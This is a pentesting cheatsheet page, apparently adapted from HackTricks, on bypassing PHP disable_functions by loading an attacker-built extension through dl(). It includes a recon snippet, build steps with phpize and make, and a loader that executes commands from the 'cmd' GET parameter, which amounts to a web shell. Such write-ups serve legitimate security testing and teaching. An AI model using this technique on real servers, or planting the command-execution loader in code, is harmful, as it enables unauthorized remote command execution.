repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
disable-functions-bypass-dl-function.mdMarkdown142 lines6.5 KiBsource raw download

title: "Disable Functions Bypass - dl Function" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Disable Functions Bypass - dl Function#

dl() lets PHP load a shared extension at runtime. If you can make it load an attacker-controlled module, you can register a new PHP function that internally calls execve, system, or any other native primitive and therefore bypass disable_functions.

This is a real primitive, but on modern targets it is far less common than older writeups suggest.

Why this bypass is uncommon today#

The main blockers are:

The official PHP manual is the most important reality check here: dl() is only available for CLI and embed SAPIs, and for the CGI SAPI when run from the command line. That means the technique is usually not available in normal PHP-FPM/mod_php web requests, so check the SAPI before spending time building a payload.[1]

Also note that enable_dl is an INI_SYSTEM setting and, as of PHP 8.3.0, PHP documents it as deprecated, so you usually cannot flip it at runtime from attacker-controlled PHP code.

If dl() is not viable, go back to the broader list of module/version dependent bypasses.

Fast triage from a foothold#

Before building anything, collect the exact parameters that the module must match:

<?php
phpinfo();
echo "PHP_VERSION=" . PHP_VERSION . PHP_EOL;
echo "PHP_SAPI=" . php_sapi_name() . PHP_EOL;
echo "ZTS=" . (PHP_ZTS ? "yes" : "no") . PHP_EOL;
echo "INT_BITS=" . (PHP_INT_SIZE * 8) . PHP_EOL;
echo "enable_dl=" . ini_get("enable_dl") . PHP_EOL;
echo "extension_dir=" . ini_get("extension_dir") . PHP_EOL;
echo "disabled=" . ini_get("disable_functions") . PHP_EOL;
?>

What you care about:

Practical exploitation constraints#

1. You normally need write access to extension_dir#

This is the biggest bottleneck.

dl() takes the extension filename, and PHP loads it from extension_dir. In practice, this means that a normal arbitrary file upload to /var/www/html/uploads is not enough. You still need a path to place a .so/.dll where PHP will actually load extensions from.

Realistic situations where this becomes exploitable:

2. The module must match the target build#

Matching only PHP_VERSION is not enough. The extension also needs to match:

If those do not match, dl() will fail or crash the process.

3. open_basedir is not the main defense here#

Once you can place the module in extension_dir and call dl(), the extension code executes inside the PHP process. At that point the relevant barrier was not open_basedir, but the ability to land a valid shared object in the extension loading path.

Building the malicious extension#

The classic route is still valid in the constrained environments described above:[2]

  1. Recreate the victim build as closely as possible
  2. Use phpize, ./configure, and make to build a shared extension
  3. Export a PHP function such as bypass_exec($cmd) that wraps native command execution
  4. Upload the compiled module into extension_dir
  5. Load it with dl() and call the exported function

The primitive still exists; the hard part is finding a supported SAPI where it is reachable and landing a matching module in extension_dir.[1][2]

Minimal workflow#

On the attacker box#

mkdir bypass && cd bypass
phpize
./configure
make

The resulting shared object will usually be under modules/.

If you are building on a different environment than the target, treat the produced file as a draft until you verify that the ABI matches the victim.

Loading and using the extension#

If the target really supports dl() and the module is inside extension_dir, the runtime side is simple:

<?php
if (!extension_loaded('bypass')) {
    dl('bypass.so'); // use the correct filename for the target platform
}
echo bypass_exec($_GET['cmd']);
?>

On Windows the filename will typically be a .dll, while on Unix-like targets it will usually be a .so.

Attacker notes#

References#